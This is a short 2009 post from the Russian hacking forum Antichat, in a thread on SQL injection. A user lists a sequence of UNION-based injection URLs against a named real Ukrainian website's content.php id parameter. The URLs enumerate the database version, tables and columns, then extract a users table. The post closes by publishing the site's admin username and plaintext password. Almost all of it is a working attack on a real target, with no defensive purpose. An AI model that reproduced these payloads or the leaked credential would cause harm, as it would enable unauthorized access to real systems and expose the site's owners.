SQL Инъекции

FORUMS

MEMBERS

RECENT POSTS

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

#11

10.04.2009, 09:37

~~_SEREGA_~~

Banned

Регистрация: 28.03.2008

Сообщений: 138

С нами: 9537463

Репутация: 184

скуль:

Код:

_http://www.vertolet.kiev.ua/content.php?id=-32+union+select+1,2,3,4--

потом узнаем версию:

Код:

_http://www.vertolet.kiev.ua/content.php?id=-32+union+select+1,2,version(),4--

список таблиц:

Код:

_http://www.vertolet.kiev.ua/content.php?id=-32+union+select+1,2,table_name,4+from+information_schema.tables--

Список столбцов:

Код:

_http://www.vertolet.kiev.ua/content.php?id=-32+union+select+1,2,COLUMN_NAME,4+from+information_schema.columns--

имя юзера и пароль:

Код:

_http://www.vertolet.kiev.ua/content.php?id=-32+union+select+1,2,username,pass+from+users--

ВОТ:
имя - admin ,
пароль - drserver000

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Home